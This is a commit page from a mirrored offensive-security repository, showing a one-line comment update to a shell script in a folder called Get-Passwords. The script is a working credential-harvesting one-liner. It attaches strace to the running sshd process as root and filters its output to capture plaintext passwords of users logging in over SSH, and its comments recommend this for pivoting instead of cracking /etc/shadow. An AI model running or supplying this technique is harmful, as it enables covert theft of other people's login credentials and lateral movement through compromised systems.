weyne/HackerStuff
1
0
Fork 0
mirror of https://github.com/0xdade/HackerStuff.git synced 2025-10-29 16:59:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update sshstrace.sh

Browse Source
This commit is contained in:
dade 2017-07-22 20:34:08 -07:00 committed by GitHub
parent eecffb2ff2
commit b4e76815de
1 changed files with 1 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
Get-Passwords/sshstrace.sh
View File

@ -3,6 +3,7 @@
# In a facepalm revelation, it has come to my attention that you can use strace as root to collect passwords from sshd
# Passwords are useful for pivoting and can be significantly faster than cracking /etc/shadow
# I think I fixed the random char padding problem, but now perl is required
# Turns out it also doesn't work if the password is entirely numbers.
#
strace -s 128 -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -oP 'write\(4, "\\0\\0\\0\\[\d]*[^\\]{2,}[^\\0]"' | perl -pe 's/write\(4, "\\0\\0\\0\\([\d]+|[\w])(.*)"/\2/g'